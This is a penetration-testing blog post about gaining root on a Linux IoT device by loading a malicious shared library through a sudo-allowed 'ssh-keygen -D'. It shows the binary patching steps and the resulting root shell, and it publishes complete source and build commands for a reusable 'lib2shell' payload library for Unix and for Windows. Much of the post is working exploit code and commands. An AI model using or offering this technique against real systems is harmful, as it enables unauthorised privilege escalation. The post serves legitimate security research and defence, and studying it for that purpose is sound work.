TL;DR
Scenario
During a recent security assessment of a Linux-based IoT device, I had acquired low-privilege SSH access. To avoid disclosing unnecessary information about the target implementation, I'll be referring to this user as lowprivuser.
sudo
After some basic system enumeration, I started looking for privilege
escalation vectors. Obviously, one of the first things I did was check for sudo capabilities (output truncated with
$ sudo -l
[...]
User lowprivuser may run the following commands on host:
(ALL) NOPASSWD: [...] /usr/bin/ssh-keygen [...]
[...]
I figured I might be able to perform some kind of file corruption/overwrite with ssh-keygen, so I looked it up on GTFOBins. Surprisingly, I found something better than a file-write:
Apparently, ssh-keygen allows loading a shared library with the -D flag. To get a better understanding of this feature, I checked out the man page:
$ man ssh-keygen
SSH-KEYGEN(1) BSD General Commands Manual SSH-KEYGEN(1)
NAME
ssh-keygen — OpenSSH authentication key utility
SYNOPSIS
[...]
ssh-keygen -D pkcs11
[...]
-D pkcs11
Download the public keys provided by the PKCS#11 shared library pkcs11.
When used in combination with -s, this option indicates that a CA key
resides in a PKCS#11 token (see the CERTIFICATES section for details).
[...]
This was a big find - if you can load a library, you can run arbitrary code. Clearly, this was a viable privilege escalation vector.
After a bit of Googling, I was unable to find an example of someone using this feature for offensive security purposes, so I decided to figure it out for myself.
Preparation
First, I needed to understand the structure of the payload. The mechanism loads a shared library (*.so on Unix, *.dll on Windows), so I probably needed to export some predefined symbol that ssh-keygen was expecting. Developer documentation probably exists for this feature, but I often find it easier to go directly to the source code.
A standard way to load a shared library in C is to use the dlopen function. I searched the OpenSSH source code for this function, and found what I was looking for in ssh-pkcs11.c:
// [...]
/* open shared pkcs11-libarary */
if ((handle = dlopen(provider_id, RTLD_NOW)) == NULL) {
error("dlopen %s failed: %s", provider_id, dlerror());
goto fail;
}
if ((getfunctionlist = dlsym(handle, "C_GetFunctionList")) == NULL) {
error("dlsym(C_GetFunctionList) failed: %s", dlerror());
goto fail;
}
p = xcalloc(1, sizeof(*p));
p->name = xstrdup(provider_id);
p->handle = handle;
/* setup the pkcs11 callbacks */
if ((rv = (*getfunctionlist)(&f)) != CKR_OK) {
error("C_GetFunctionList failed: %lu", rv);
goto fail;
}
// [...]
Let's break this down to understand what's happening. The statement on line 486 attempts to load the shared library into process memory:
handle = dlopen(provider_id, RTLD_NOW)
The variable provider_id contains the library file path, and the function returns a handle that can be used to interact with the library in memory.
Next, it searches the newly-loaded library for an exported function called C_GetFunctionList and stores the function pointer in the variable getfunctionlist (line 490):
getfunctionlist = dlsym(handle, "C_GetFunctionList")
If C_GetFunctionList is found, the function is called (line 498):
rv = (*getfunctionlist)(&f)
After that, it doesn't really matter what happens. We control the code inside C_GetFunctionList, so we can do whatever we want. For my scenario, I wanted to get an elevated shell, so the easiest thing to do would be to call one of the functions in the exec family to transform the ssh-keygen process into a new shell instance.
To summarize, I needed to create a shared library (*.so) that exports a function called C_GetFunctionList, and that function would call something like the following:
execl("/bin/sh", "/bin/sh", NULL);
There was one additional factor: my target device was running on a 32-bit ARM architecture, so I'd either need to cross-compile from my x86_64 system or copy and patch an existing library from the target.
Finding a Patch Target
Most of my cross-compilation experience is from creating standard tools with Buildroot, but in this case I needed to cross-compile custom code from scratch. Alternatively, I could patch an existing shared library from the target system. Binary patching is an area I have a lot of experience with, so I decided to go in that direction.
To make the patching process as simple as possible, I wanted the original library to have two properties:
- Imports one of the functions from the exec family
- Calls the exec function directly from an exported function
$ SYMBOL_NAME="exec" ; \
find / -type f -exec printf "{}: " \; -exec sh -c "objdump -T \"{}\" 2>&1 \
| grep -e \" $SYMBOL_NAME\" ; \ echo \"\"" \; | grep -e " $SYMBOL_NAME" | grep '.so'
[...]
/lib/pppd/2.4.9/winbind.so: 00000000 DF *UND* 00000000 GLIBC_<VER> execl
[...]
Patching the Target
unsigned int run_ntlm_auth(const char *username,
const char *domain,
const char *full_username,
const char *plaintext_password,
const u_char *challenge,
size_t challenge_length,
const u_char *lm_response,
size_t lm_response_length,
const u_char *nt_response,
size_t nt_response_length,
u_char nt_key[16],
char **error_string)
{
// [...]
execl("/bin/sh", "sh", "-c", ntlm_auth, NULL);
// [...]
- Jump directly to the setup for the execl call
- Patch the third execl argument to be a null pointer (i.e., zero) instead of "-c"
byte* run_ntlm_auth(void)
{
FILE *pFVar1;
byte *pbVar2;
size_t sVar3;
char *pcVar4;
int iVar5;
__pid_t _Var6;
int *piVar7;
int unaff_r4;
byte **unaff_r7;
execl("/bin/sh", "sh", 0, 0, 0);
// [...]
- Rename run_ntlm_auth to C_GetFunctionList
- Remove any DT_NEEDED symbols that weren't available in the ssh-keygen process
$ ./src/patchelf --help
syntax: ./src/patchelf
[...]
[--rename-dynamic-symbols NAME_MAP_FILE] Renames dynamic symbols. The map file should contain two symbols (old_name new_name) per line
[...]
[--version]
FILENAME...
$ ./patchelf/src/patchelf --output lib2shell.so --rename-dynamic-symbols symbol_map.txt winbind_patched.so
Privilege Escalation
$ scp lib2shell.so lowprivuser@target_device:/tmp/
lowprivuser@target_device's password:
lib2shell.so 100% 14KB 2.3MB/s 00:00
$ ssh lowprivuser@target_device
lowprivuser@target_device's password:
sh-5.1$ id
uid=1012(lowprivuser) gid=1013(lowprivuser) groups=1013(lowprivuser)
sh-5.1$ sudo ssh-keygen -D /tmp/lib2shell.so
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
lib2shell
After this experience, I decided to make a quick generic implementation of a shared library that transforms the containing process into a shell. To make it generic, the implementation uses an ELF constructor rather than an exported function with a specific name. The entirety of the code for Unix is as follows:
// lib2shell.c
#include <stdio.h>
#include <unistd.h>
#define SHELL_COMMAND "/bin/sh"
void __attribute__ ((constructor)) constructor()
{
puts("[lib2shell by SeanP]");
printf("Starting %s\n", SHELL_COMMAND);
long long err = execl(SHELL_COMMAND, "/bin/sh", "-c", SHELL_COMMAND, NULL);
printf("Result: %lld\n", err);
}
To compile it, simply run the following two shell commands:
gcc -c -o lib2shell.o lib2shell.c -Wall -Werror -fpic -I.
gcc -shared -o lib2shell.so lib2shell.o
Then, like I did on my target, run the following command to get your shell:
$ sudo ssh-keygen -D ./lib2shell.so
[lib2shell by SeanP]
Starting /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
I also wrote an implementation for Windows (note that it might not work correctly if called from PowerShell):
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
#include <stdio.h>
#include <process.h>
#define SHELL_COMMAND "C:\\Windows\\System32\\cmd.exe"
BOOL APIENTRY DllMain(HMODULE h_module, DWORD ul_reason_for_call, LPVOID lp_reserved)
{
long long err = -2;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
puts("[lib2shell by SeanP]");
printf("Starting %s\n", SHELL_COMMAND);
err = _execl(SHELL_COMMAND, "C:\\Windows\\System32\\cmd.exe", "/c", SHELL_COMMAND, NULL);
printf("Result: %lld\n", err);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Both implementations are also available on my GitHub, along with a build script (Unix) and Visual Studio project files (Windows).
Updates
- 2023-03-14: This blog post was referenced by infosec researcher Leo Pitt (D00mfist) in his Medium article, Generate Keys or Generate Dylib Loads?
Thank you, Sean! I found it to be an excellent read. The shared library is fantastic!
ReplyDelete